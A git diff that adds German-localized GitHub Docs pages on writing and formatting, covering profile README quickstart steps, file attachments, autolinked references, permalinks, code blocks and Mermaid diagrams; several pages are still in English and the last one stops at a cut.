diff --git a/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
new file mode 100644
index 0000000000..d7555438cf
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
@@ -0,0 +1,26 @@
+---
+title: Getting started with writing and formatting on GitHub (Erste Schritte beim Schreiben und Formatieren auf GitHub)
+redirect_from:
+  - /articles/markdown-basics
+  - /articles/things-you-can-do-in-a-text-area-on-github
+  - /articles/getting-started-with-writing-and-formatting-on-github
+  - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github
+intro: 'Du kannst einfache Funktionen verwenden, um deine Kommentare zu formatieren und mit anderen in Issues, Pull Requests und Wikis auf GitHub zu interagieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /quickstart-for-writing-on-github
+  - /about-writing-and-formatting-on-github
+  - /basic-writing-and-formatting-syntax
+shortTitle: Start writing on GitHub
+ms.openlocfilehash: 42aa9a6eac67875c7e590c29fff5133be24366f1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068661'
+---
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md
new file mode 100644
index 0000000000..cff022aa8d
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md
@@ -0,0 +1,244 @@
+---
+title: Quickstart for writing on GitHub
+intro: 'Learn advanced formatting features by creating a {% ifversion ghae %}gist to describe yourself{% else %}README for your {% data variables.product.prodname_dotcom %} profile{% endif %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Quickstart
+---
+
+## Introduction
+
+Markdown is an easy-to-read, easy-to-write language for formatting plain text. You can use Markdown syntax, along with some additional HTML tags, to format your writing on {% data variables.product.prodname_dotcom %}, in places like repository READMEs and comments on pull requests and issues. In this guide, you'll learn some advanced formatting features by creating {% ifversion ghae %}a gist{% else %}or editing a README for your {% data variables.product.prodname_dotcom %} profile{% endif %}.
+
+If you're new to Markdown, you might want to start with "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)" or the [Communicate using Markdown](https://github.com/skills/communicate-using-markdown) {% data variables.product.prodname_learning %} course.
+
+{% ifversion not ghae %}
+
+If you already have a profile README, you can follow this guide by adding some features to your existing README, or by creating a gist with a Markdown file called something like `about-me.md`. For more information, see "[Creating gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)."
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## Creating a gist
+
+Gists let you store or share code snippets and other pieces of information with others on {% data variables.location.product_location %}. To use formatting features in gists, add a gist file with a `.md` extension.
+
+1. Navigate to your {% data variables.gists.gist_homepage %}.
+1. Optionally, type a description for the gist, such as "About me."
+1. In the **Filename including extension...** field, type `about-me.md`.
+
+For more information, see "[Creating gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)."
+
+{% else %}
+
+## Creating or editing your profile README
+
+Your profile README lets you share information about yourself with the community on {% data variables.location.product_location %}. The README is displayed at the top of your profile page.
+
+If you don't already have a profile README, you can add one.
+
+1. Create a repository with the same name as your {% data variables.product.prodname_dotcom %} username, initializing the repository with a `README.md` file. For more information, see "[Managing your profile README](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme#adding-a-profile-readme)."
+1. Edit the `README.md` file and delete the template text (beginning `### Hi there`) that is automatically added when you create the file.
+
+If you already have a profile README, you can edit it from your profile page.
+
+{% data reusables.profile.navigating-to-profile %}
+1. Click the {% octicon "pencil" aria-label="The Pencil icon" %} next to your profile README.
+
+   ![Screenshot of a profile page, with the pencil icon highlighted next to the profile README](/assets/images/help/profile/edit-profile-readme.png)
+
+{% endif %}
+
+## Adding an image to suit your visitors
+
+You can include images in your communication on {% data variables.product.prodname_dotcom %}. Here, you'll add a responsive image, such as a banner, to the top of your {% ifversion ghae %}gist{% else %}profile README{% endif %}. 
+
+By using the HTML `<picture>` element with the `prefers-color-scheme` media feature, you can add an image that changes depending on whether a visitor is using light or dark mode. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)."
+
+1. Copy and paste the following markup into your {% ifversion ghae %}`about-me.md`{% else %}`README.md`{% endif %} file.
+   
+   ```HTML{:copy}
+   <picture>
+    <source media="(prefers-color-scheme: dark)" srcset="YOUR-DARKMODE-IMAGE">
+    <source media="(prefers-color-scheme: light)" srcset="YOUR-LIGHTMODE-IMAGE">
+    <img alt="YOUR-ALT-TEXT" src="YOUR-DEFAULT-IMAGE">
+   </picture>
+   ```
+1. Replace the placeholders in the markup with the URLs of your chosen images. Alternatively, to try the feature first, you can copy the URLs from our example below.
+
+   - Replace `YOUR-DARKMODE-IMAGE` with the URL of an image to display for visitors using dark mode.
+   - Replace `YOUR-LIGHTMODE-IMAGE` with the URL of an image to display for visitors using light mode.
+   - Replace `YOUR-DEFAULT-IMAGE` with the URL of an image to display in case neither of the other images can be matched, for example if the visitor is using a browser that does not support the `prefers-color-scheme` feature.
+1. To make the image accessible for visitors who are using a screen reader, replace `YOUR-ALT-TEXT` with a description of the image.
+1. To check the image has rendered correctly, click the **Preview** tab.
+
+For more information on using images in Markdown, see "[Basic writing and formatting syntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images)."
+
+### Example
+
+{% data reusables.getting-started.picture-element-example %}
+
+### How it looks
+
+![Screenshot of the Preview tab in light mode, with an image of a smiling sun displayed](/assets/images/help/profile/lightmode-image-example.png)
+
+## Adding a table
+
+You can use Markdown tables to organize information. Here, you'll use a table to introduce yourself by ranking something, such as your most-used programming languages or frameworks, the things you're spending your time learning, or your favorite hobbies. When a table column contains numbers, it's useful to right-align the column by using the syntax `--:` below the header row.
+
+1. Return to the **Edit {% ifversion ghae %}new {% endif %}file** tab. 
+1. To introduce yourself, two lines below the `</picture>` tag, add an `## About me` header and a short paragraph about yourself, like the following.
+   
+   ```Markdown
+   ## About me
+
+   Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot.
+   ```
+1. Two lines below this paragraph, insert a table by copying and pasting the following markup.
+   
+   ```Markdown{:copy}
+   | Rank | THING-TO-RANK |
+   |-----:|---------------|
+   |     1|               |
+   |     2|               |
+   |     3|               |
+   ```
+1. In the column on the right, replace `THING-TO-RANK` with "Languages," "Hobbies," or anything else, and fill in the column with your list of things.
+1. To check the table has rendered correctly, click the **Preview** tab.
+
+For more information, see "[Organizing information with tables](/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables)."
+
+### Example
+
+```Markdown
+## About me
+
+Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot.
+
+| Rank | Languages |
+|-----:|-----------|
+|     1| Javascript|
+|     2| Python    |
+|     3| SQL       |
+```
+
+### How it looks
+
+![Screenshot of the Preview tab, showing an "About me" heading and a rendered table with a list of languages](/assets/images/help/profile/markdown-table-example.png)
+
+## Adding a collapsed section
+
+To keep your content tidy, you can use the `<details>` tag to create an expandible collapsed section. 
+
+1. To create a collapsed section for the table you created, wrap your table in `<details>` tags like in the following example.
+   
+   ```HTML{:copy}
+   <details>
+   <summary>My top THINGS-TO-RANK</summary>
+
+   YOUR TABLE
+
+   </details>
+   ```
+1. Between the `<summary>` tags, replace `THINGS-TO-RANK` with whatever you ranked in your table.
+1. Optionally, to make the section display as open by default, add the `open` attribute to the `<details>` tag.
+
+   ```HTML
+   <details open>
+   ```
+1. To check the collapsed section has rendered correctly, click the **Preview** tab.
+
+### Example
+
+```HTML
+<details>
+<summary>My top languages</summary>
+
+| Rank | Languages |
+|-----:|-----------|
+|     1| Javascript|
+|     2| Python    |
+|     3| SQL       |
+  
+</details>
+```
+
+### How it looks
+
+![Screenshot of the Preview tab, with a collapsed section called "My top languages" marked by a dropdown arrow](/assets/images/help/profile/collapsed-section-example.png)
+
+## Adding a quote
+
+Markdown has many other options for formatting your content. Here, you'll add a horizontal rule to divide your page and a blockquote to format your favorite quote.
+
+1. At the bottom of your file, two lines below the `</details>` tag, add a horizontal rule by typing three or more dashes.
+
+   ```Markdown
+   ---
+   ```
+1. Below the `---` line, add a quote by typing markup like the following.
+   
+   ```Markdown
+   > QUOTE
+   ```
+
+   Replace `QUOTE` with a quote of your choice. Alternatively, copy the quote from our example below.
+1. To check everything has rendered correctly, click the **Preview** tab.
+
+### Example
+
+```Markdown
+---
+> If we pull together and commit ourselves, then we can push through anything.
+
+— Mona the Octocat
+```
+
+### How it looks
+
+![Screenshot of the Preview tab, with an indented quote below a thick horizontal line](/assets/images/help/profile/markdown-quote-example.png)
+
+## Adding a comment
+
+You can use HTML comment syntax to add a comment that will be hidden in the output. Here, you'll add a comment to remind yourself to update your {% ifversion ghae %}gist{% else %}README{% endif %} later.
+
+1. Two lines below the `## About me` header, insert a comment by using the following markup.
+
+   <pre>
+   &lt;!-- COMMENT --&gt;
+   </pre>
+   
+   Replace `COMMENT` with a "to-do" item you remind yourself to do something later (for example, to add more items to the table).
+1. To check your comment is hidden in the output, click the **Preview** tab.
+
+### Example
+
+<pre>
+## About me
+
+&lt;!-- TO DO: add more details about me later --&gt;
+</pre>
+
+## Saving your work
+
+When you're happy with your changes, save your {% ifversion ghae %}gist. 
+
+- To keep your gist hidden from search engines but visible to anyone you share the URL with, click **Create secret gist** 
+- If you're happy for your gist to be visible to anyone on {% data variables.location.product_location %}, click **Create internal gist**
+
+{% else %}profile README by clicking **Commit changes**. 
+
+Committing directly to the `main` branch will make your changes visible to any visitor on your profile. If you want to save your work but aren't ready to make it visible on your profile, you can select **Create a new branch for this commit and start a pull request**.
+
+![Screenshot of the "Commit changes" section](/assets/images/help/profile/readme-commit-changes.png)
+
+{% endif %}
+
+## Next steps
+
+- Continue to learn about advanced formatting features. For example, see {% ifversion fpt or ghec %}"[Creating diagrams](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams)" and {% endif %}"[Creating and highlighting codeblocks](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks)."
+- Use your new skills as you communicate across GitHub, in issues, pull requests, and discussions. For more information, see "[Communicating on {% data variables.product.prodname_dotcom %}](/get-started/quickstart/communicating-on-github)."
diff --git a/translations/de-DE/content/get-started/writing-on-github/index.md b/translations/de-DE/content/get-started/writing-on-github/index.md
new file mode 100644
index 0000000000..79e7d33535
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/index.md
@@ -0,0 +1,27 @@
+---
+title: Schreiben auf GitHub
+redirect_from:
+  - /categories/88/articles
+  - /articles/github-flavored-markdown
+  - /articles/writing-on-github
+  - /categories/writing-on-github
+  - /github/writing-on-github
+intro: 'Du kannst die für {% data variables.product.product_name %} freigegebenen Informationen mit verschiedenen Formatierungsoptionen strukturieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /getting-started-with-writing-and-formatting-on-github
+  - /working-with-advanced-formatting
+  - /working-with-saved-replies
+  - /editing-and-sharing-content-with-gists
+ms.openlocfilehash: a16f83a3ef073bde1409187aa680ded57859ec84
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068655'
+---
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md
new file mode 100644
index 0000000000..88aa6ecccb
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md
@@ -0,0 +1,64 @@
+---
+title: Anfügen von Dateien
+intro: 'Du kannst Informationen vermitteln, indem du deinen Issues und Pull Requests verschiedene Dateitypen anfügst.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests
+  - /articles/issue-attachments
+  - /articles/file-attachments-on-issues-and-pull-requests
+  - /github/managing-your-work-on-github/file-attachments-on-issues-and-pull-requests
+  - /github/writing-on-github/working-with-advanced-formatting/attaching-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 28ce895a23c83f410d4755ad4036673e5c816155
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160763'
+---
+{% data reusables.repositories.anyone-can-view-anonymized-url %}
+
+Um eine Datei an eine Issue- oder eine Pull-Request-Unterhaltung anzuhängen, ziehe sie per Drag-and-Drop in das Kommentarfeld. Alternativ kannst du die Leiste am unteren Rand des Kommentarfeldes anklicken, um eine Datei auf deinem Computer zu suchen, auszuwählen und hinzuzufügen.
+
+![Anhänge vom Computer auswählen](/assets/images/help/pull_requests/select-bar.png)
+
+Wenn du eine Datei anfügst, wird sie sofort in {% data variables.product.product_name %} hochgeladen, und das Textfeld wird aktualisiert, um die anonymisierte URL für die Datei anzuzeigen. {% ifversion fpt or ghec %} Weitere Informationen zu anonymisierten URLs findest du unter [Informationen zu anonymisierten URLs](/github/authenticating-to-github/about-anonymized-urls).{% endif %}
+
+{% tip %}
+
+**Tipp:** In vielen Browsern kannst du kopierte Bilder direkt in das Feld einfügen.
+
+{% endtip %}
+
+Die maximale Dateigröße beträgt:
+- 10 MB für Bilder und GIFs {% ifversion fpt or ghec %}
+- 10 MB für Videos, die in ein Repository hochgeladen wurden, das sich in einem kostenlosen GitHub-Plan im Besitz eines Benutzers oder einer Organisation befindet
+- 100 MB für Videos, die in ein Repository hochgeladen wurden, das sich in einem kostenpflichtigen GitHub-Plan im Besitz von Benutzer*innen oder einer Organisation befindet {% elsif ghes %}
+- 100 MB für Videos{% endif %}
+- 25 MB für alle anderen Dateien
+
+Wir unterstützen die folgenden Dateiformate:
+
+* PNG ( *.png*)
+* GIF ( *.gif*)
+* JPEG ( *.jpg*) {%- ifversion svg-support %}
+* SVG ( *.svg*) {%- endif %}
+* Protokolldateien ( *.log*)
+* Microsoft Word-, Powerpoint- und Excel-Dokumente ( *.docx*, *.pptx* und *.xlsx*)
+* Textdateien ( *.txt*)
+* PDFs ( *.pdf*)
+* ZIP ( *.zip*, *.gz*, *.tgz*){% ifversion fpt or ghec or ghes %}
+* Video ( *.mp4*, *.mov*, *.webm*){% endif %}
+
+{% ifversion fpt or ghec or ghes %}{% note %}
+
+**Hinweis:** Die Videocodec-Kompatibilität ist browserspezifisch, und ein Video, das du in einen Browser hochlädst, wird auf einem anderen Browser vielleicht nicht angezeigt. Derzeit empfehlen wir für maximale Kompatibilität die Verwendung von h.264.
+
+{% endnote %}{% endif %}
+
+![Animiertes GIF zu Anhängen](/assets/images/help/pull_requests/dragging_images.gif)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md
new file mode 100644
index 0000000000..7898abc4e9
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md
@@ -0,0 +1,78 @@
+---
+title: Autolinked references and URLs
+intro: 'References to URLs, issues, pull requests, and commits are automatically shortened and converted into links.'
+redirect_from:
+  - /articles/autolinked-references-and-urls
+  - /github/writing-on-github/autolinked-references-and-urls
+  - /github/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Auto linked references
+---
+## URLs
+
+{% data variables.product.product_name %} automatically creates links from standard URLs.
+
+`Visit https://github.com`
+
+![Rendered autolinked URL](/assets/images/help/writing/url-autolink-rendered.png)
+
+For more information on creating links, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax/#links)."
+
+## Issues and pull requests
+
+Within conversations on {% data variables.product.product_name %}, references to issues and pull requests are automatically converted to shortened links.
+
+{% note %}
+
+**Note:** Autolinked references are not created in wikis or files in a repository.
+
+{% endnote %}
+
+| Reference type | Raw reference | Short link |
+| --- | --- | --- |
+| Issue or pull request URL | https://github.com/jlord/sheetsee.js/issues/26 | [#26](https://github.com/jlord/sheetsee.js/issues/26)
+| `#` and issue or pull request number | #26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) |
+| `GH-` and issue or pull request number | GH-26 | [GH-26](https://github.com/jlord/sheetsee.js/issues/26) |
+| `Username/Repository#` and issue or pull request number | jlord/sheetsee.js#26 | [jlord/sheetsee.js#26](https://github.com/jlord/sheetsee.js/issues/26)
+| `Organization_name/Repository#` and issue or pull request number | github/linguist#4039 | [github/linguist#4039](https://github.com/github/linguist/pull/4039)
+
+{% ifversion fpt or ghec %}
+If you reference an issue, pull request, or discussion in a list, the reference will unfurl to show the title and state instead. For more information about task lists, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+{% endif %}
+
+## Labels
+When referencing the URL of a label in Markdown, the label is automatically rendered. Only labels of the same repository are rendered, URLs pointing to a label from a different repository are rendered as any [URL](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#urls).
+
+The URL of a label can be found by navigating to the labels page and clicking on a label. For example, the URL of the label "enhancement" in our public [docs repository](https://github.com/github/docs/) is
+
+```md
+https://github.com/github/docs/labels/enhancement
+```
+{% note %}
+
+**Note:** If the label name contains a period (`.`), the label will not automatically render from the label URL.
+
+{% endnote %}
+
+## Commit SHAs
+
+References to a commit's SHA hash are automatically converted into shortened links to the commit on {% data variables.product.product_name %}.
+
+| Reference type | Raw reference | Short link |
+| --- | --- | --- |
+| Commit URL | [`https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) |
+| SHA | a5c3785ed8d6a35868bc169f07e40e889087fd2e | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) |
+| User@SHA | jlord@a5c3785ed8d6a35868bc169f07e40e889087fd2e | [jlord@a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e)
+| `Username/Repository@SHA` | `jlord/sheetsee.js@a5c3785ed8d6a35868bc169f07e40e889087fd2e` | [`jlord/sheetsee.js@a5c3785`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) |
+
+## Custom autolinks to external resources
+
+{% data reusables.repositories.autolink-references %}
+
+## Further reading
+
+- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md
new file mode 100644
index 0000000000..3834d9ec88
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md
@@ -0,0 +1,57 @@
+---
+title: Einen Permalink zu einem Code-Ausschnitt erstellen
+intro: Du kannst einen Permalink zu einer bestimmten Code-Zeile oder einem bestimmten Code-Ausschnitt in einer spezifischen Version einer Datei oder eines Pull Requests erstellen.
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-a-permanent-link-to-a-code-snippet
+  - /articles/creating-a-permanent-link-to-a-code-snippet
+  - /github/managing-your-work-on-github/creating-a-permanent-link-to-a-code-snippet
+  - /github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Permanent links to code
+ms.openlocfilehash: d1c363eba2a45558f3fdc9b55025309544ef677b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068628'
+---
+## Verknüpfen mit Code
+
+Diese Art von Permalink wird nur in dem Repository, aus dem er stammt, als Code-Ausschnitt dargestellt. In anderen Repositorys wird der Permalink-Code-Ausschnitt als URL angezeigt.
+
+![In einem Kommentar dargestellter Code-Ausschnitt](/assets/images/help/repository/rendered-code-snippet.png)
+
+{% tip %}
+
+**Tipp:** Informationen zum Erstellen eines Permalinks für eine gesamte Datei findest du unter [Permalinks zu Dateien abrufen](/articles/getting-permanent-links-to-files).
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Suche den Code, zu dem Du einen Link erstellen möchtest:
+    - Um Code aus einer Datei zu verknüpfen, navigiere zu dieser Datei.
+    - Um Code aus einem Pull Request zu verlinken, navigiere zu diesem Pull Request. Klicke dort auf {% octicon "diff" aria-label="The file diff icon" %} **Dateien geändert**. Navigiere anschließend zu der Datei mit dem Code, den dein Kommentar enthalten soll, und klicke auf **Anzeigen**.
+{% data reusables.repositories.choose-line-or-range %}
+4. Klicke links von der Zeile respektive dem Abschnitt auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. Klicke im Dropdownmenü auf **Permalink kopieren**.
+  ![Über 3-Punkte-Symbol erreichbares Menü mit Option zum Kopieren eines Permalinks für eine ausgewählte Zeile](/assets/images/help/repository/copy-permalink-specific-line.png)
+5. Navigiere zu der Unterhaltung, in der Du auf den Code-Ausschnitt verknüpfen möchtest.
+6. Kopiere den Permalink in einen Kommentar und klicke auf **Kommentar**.
+  ![Kopierter Permalink in einem Kommentar im selben Repository](/assets/images/help/repository/code-snippet-permalink-in-comment.png)
+
+## Verknüpfen mit Markdown
+
+Du kannst mit bestimmten Zeilen in Markdown-Dateien verknüpfen, indem du die Markdown-Datei ohne Markdown-Rendering lädst. Um eine Markdown-Datei ohne Rendering zu laden, kannst du den `?plain=1`-Parameter am Ende der URL für die Datei verwenden. Beispiel: `github.com/<organization>/<repository>/blob/<branch_name>/README.md?plain=1`.
+
+Du kannst eine Verknüpfung mit einer bestimmten Zeile in der Markdown-Datei wie im Code herstellen. Füge `#L` die Zeilennummer oder Zahlen am Ende der URL hinzu. Beispiel: `github.com/<organization>/<repository>/blob/<branch_name>/README.md?plain=1#L14` hebt Zeile 14 in der README.md-Datei hervor.
+
+## Weiterführende Themen
+
+- [Erstellen eines Issues](/articles/creating-an-issue/)
+- [Einen Issue im Code öffnen](/articles/opening-an-issue-from-code/)
+- [Änderungen in Pull Requests überprüfen](/articles/reviewing-changes-in-pull-requests/)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
new file mode 100644
index 0000000000..2933a1eac0
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
@@ -0,0 +1,83 @@
+---
+title: Code-Blöcke erstellen und markieren
+intro: 'Gib Codebeispiele mit Fenced-Code-Blöcken frei, und aktiviere die Syntaxmarkierung.'
+redirect_from:
+  - /articles/creating-and-highlighting-code-blocks
+  - /github/writing-on-github/creating-and-highlighting-code-blocks
+  - /github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Create code blocks
+ms.openlocfilehash: ba0b49795df16fbafc77ef43c6fef58684162709
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882417'
+---
+## Umgrenzte Codeblöcke
+
+Um umgrenzte Codeblöcke zu erstellen, platzierst du dreifache Graviszeichen <code>\`\`\`</code> vor und hinter dem Codeblock. Wir empfehlen, eine leere Zeile vor und nach den Codeblöcken einzufügen, damit die Rohformatierung besser lesbar ist.
+
+<pre>
+```
+function test() {
+  console.log("notice the blank line before this function?");
+}
+```
+</pre>
+
+![Gerenderter Fenced-Code-Block](/assets/images/help/writing/fenced-code-block-rendered.png)
+
+{% tip %}
+
+**Tipp:** Um die Formatierung in einer Liste beizubehalten, musst du darauf achten, die nicht umgrenzten Codeblöcke um acht Leerzeichen einzurücken.
+
+{% endtip %}
+
+Um dreifache Graviszeichen in einem umgrenzten Codeblock anzuzeigen, musst du sie in vierfache Graviszeichen einschließen.
+
+
+<pre>
+````
+```
+Look! You can see my backticks.
+```
+````
+</pre>
+
+![Gerenderter umgrenzter Codeblock mit Graviszeichen](/assets/images/help/writing/fenced-code-show-backticks-rendered.png)
+
+{% data reusables.user-settings.enabling-fixed-width-fonts %}
+
+## Syntaxhervorhebung
+
+<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. -->
+
+Du kannst einen optionalen Sprachkennzeichner hinzufügen, um die Syntaxmarkierung im Fenced-Code-Block zu aktivieren.
+
+So sieht z. B. die Syntaxmarkierung des Ruby-Codes aus:
+
+    ```ruby
+    require 'redcarpet'
+    markdown = Redcarpet.new("Hello World!")
+    puts markdown.to_html
+    ```
+
+![Gerenderter Code-Block mit Ruby-Syntaxmarkierung](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
+
+Wir verwenden [Linguist](https://github.com/github/linguist) zum Ausführen der Spracherkennung und zum Auswählen von [Grammatiken von Drittanbietern](https://github.com/github/linguist/blob/master/vendor/README.md) für die Syntaxhervorhebung. Die gültigen Schlüsselwörter findest du in [der YAML-Datei der Sprache](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
+
+{% ifversion mermaid %}
+## Erstellen von Diagrammen
+
+Du kannst auch Codeblöcke verwenden, um Diagramme in Markdown zu erstellen. GitHub unterstützt Mermaid-, GeoJSON-, TopoJSON- und ASCII STL-Syntax. Weitere Informationen findest du unter [Erstellen von Diagrammen](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams).
+
+{% endif %}
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown – Spezifikation](https://github.github.com/gfm/)
+- [Grundlegende Schreib- und Formatierungssyntax](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md
new file mode 100644
index 0000000000..29f0cb3471
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md
@@ -0,0 +1,175 @@
+---
+title: Erstellen von Diagrammen
+intro: 'Diagramme erstellen, um Informationen in Form von Diagrammen und Graphen zu vermitteln'
+versions:
+  feature: mermaid
+shortTitle: Create diagrams
+ms.openlocfilehash: 0e588fb771bd7992f75e364624576e216cf84000
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147529735'
+---
+## Informationen zum Erstellen von Diagrammen
+
+Du kannst Diagramme in Markdown mit drei verschiedenen Syntaxen erstellen: Mermaid, geoJSON und topoJSON sowie ASCII STL. Diagrammrendering ist in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, Pull Requests, Wikis und Markdowndateien verfügbar.
+
+## Erstellen von Mermaid-Diagrammen
+
+Mermaid ist ein von Markdown inspiriertes Tool, das Text in Diagrammen rendert. Mermaid kann beispielsweise Flussdiagramme, Sequenzdiagramme, Kreisdiagramme und vieles mehr rendern. Weitere Informationen findest du in der [Mermaid-Dokumentation](https://mermaid-js.github.io/mermaid/#/).
+
+Füge zum Erstellen eines Mermaid-Diagramms Mermaid-Syntax innerhalb eines Fenced-Code-Blocks mit dem Sprachbezeichner `mermaid` hinzu. Weitere Informationen zum Erstellen von Codeblöcken findest du unter [Codeblöcke erstellen und markieren](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
+
+Du kannst beispielsweise ein Flussdiagramm erstellen:
+
+<pre>
+Here is a simple flow chart:
+
+```mermaid
+graph TD;
+    A-->B;
+    A-->C;
+    B-->D;
+    C-->D;
+```
+</pre>
+
+![Gerendertes Mermaid-Flussdiagramm](/assets/images/help/writing/mermaid-flow-chart.png)
+
+{% note %}
+
+**Hinweis:** Möglicherweise treten Fehler auf, wenn du bei Verwendung von Mermaid-Syntax für {% data variables.product.company_short %} ein Mermaid-Plug-In eines Drittanbieters verwendest.
+
+{% endnote %}
+
+## geoJSON- und topoJSON-Karten erstellen
+
